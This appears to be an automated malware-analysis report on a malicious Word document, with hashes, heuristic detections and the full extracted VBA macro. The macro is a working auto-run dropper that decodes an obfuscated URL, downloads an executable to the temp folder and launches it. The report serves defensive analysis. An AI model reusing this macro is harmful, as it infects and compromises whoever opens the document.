Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ab2c35132d846b46…

MALICIOUS

Office (OLE)

101.0 KB Created: 2017-10-17 00:08:00 Authoring application: Microsoft Office Word First seen: 2019-10-30
MD5: c3447152fa1e87d68ce3e435e95c9cb0 SHA-1: 634e353e4df0b9250dce800ba4d0903bb9ea0860 SHA-256: ab2c35132d846b466d6abe942d24667a21fcac7c8fe4a6e92db97cde7a0a2576
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros, specifically a Document_Open macro that utilizes CreateObject to instantiate scripting.filesystemobject and microsoft.xmlhttp. This indicates an attempt to download and save a file to disk, likely a second-stage payload. The presence of these objects and the critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' strongly suggest malicious intent.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-6988714-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6988714-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    YWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCS = SCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMP.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set QJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCSCUWJ = CreateObject("scripting.filesystemobject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5283 bytes
SHA-256: 3c0fc820e82aea381dc38a22bb9ef53f18f99ff138303860884e2c550075042b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim GUVMPYDXNLLKNGJMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKOD
Dim YWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCS
Dim WCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMPYDXNLLKNG


Dim JMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVU As Integer
JMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVU = 1
Dim QJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCSCUWJ
Set QJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCSCUWJ = CreateObject("scripting.filesystemobject")
    Set WCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMPYDXNLLKNG = QJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCSCUWJ.GetSpecialFolder(2)
Dim SCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMP
Set SCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMP = CreateObject("microsoft.xmlhttp")
Dim CUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMPYDXNLLKNG
Dim ZTNBMSYQYRTHBZWGEPBMPNTUDNOSXUKRBLURMCHHGJBXCQWWFGIEQXUMDEODFMRCICVJTTHXHZCPCIFNMXIUQPUDKVPTGD
Set ZTNBMSYQYRTHBZWGEPBMPNTUDNOSXUKRBLURMCHHGJBXCQWWFGIEQXUMDEODFMRCICVJTTHXHZCPCIFNMXIUQPUDKVPTGD = CreateObject("Shell.Application")

CUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMPYDXNLLKNG = WCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMPYDXNLLKNG + WEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZ("]FDWHDXFKC/fyf")
SCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMP.Open "GET", WEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZ("iuuq;00dmpve/yfopsjt/gs0qvuuz/fyf"), False
SCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMP.send
YWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCS = SCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMP.responseBody
If SCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMP.Status = 200 Then
Set GUVMPYDXNLLKNGJMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKOD = CreateObject("adodb.stream")
GUVMPYDXNLLKNGJMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKOD.Open
GUVMPYDXNLLKNGJMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKOD.Type = JMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVU
GUVMPYDXNLLKNGJMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKOD.Write YWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCS
GUVMPYDXNLLKNGJMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKOD.SaveToFile CUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMPYDXNLLKNG, JMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVU + JMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVU
GUVMPYDXNLLKNGJMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKOD.Close
End If
ZTNBMSYQYRTHBZWGEPBMPNTUDNOSXUKRBLURMCHHGJBXCQWWFGIEQXUMDEODFMRCICVJTTHXHZCPCIFNMXIUQPUDKVPTGD.Open (CUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQITLQTRXGNRSWJGUVMPYDXNLLKNG)


End Sub

    Private Function WEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZ(HMWDWQEOOCSCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQIT)
    For JMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVG = 1 To Len(HMWDWQEOOCSCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQIT)
        NTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCSCUWJWCZIHSDPLKPXFQKOB = NTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCSCUWJWCZIHSDPLKPXFQKOB & Chr(Asc(Mid(HMWDWQEOOCSCUWJWCZIHSDPLKPXFQKOBXMNEOQUPFKKJLXBETZZIJLHTBWPGHRGIPNFLXXMQWKUKVFRFKHQIT, JMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVG, 1)) - 1)
    Next JMUIIPLMIUJYXOISOJQVNMGGTYFSDSENTNMJSQCTYCZGOPZBFRHWEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVG
        WEUXHLGVTTSVNKODQJRTUQDRHYWQBWRYEVUOIVGNTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZ = NTKTMOCVURZYKUHKIOPXIJNSPEMVGPMHWCCBEVSVLRRZBDYLSOHXYJXZHMWDWQEOOCSCUWJWCZIHSDPLKPXFQKOB
    End Function

Attribute VB_Name = "NewMacros"
Sub doc()
'
' doc Macro
'
'

End Sub

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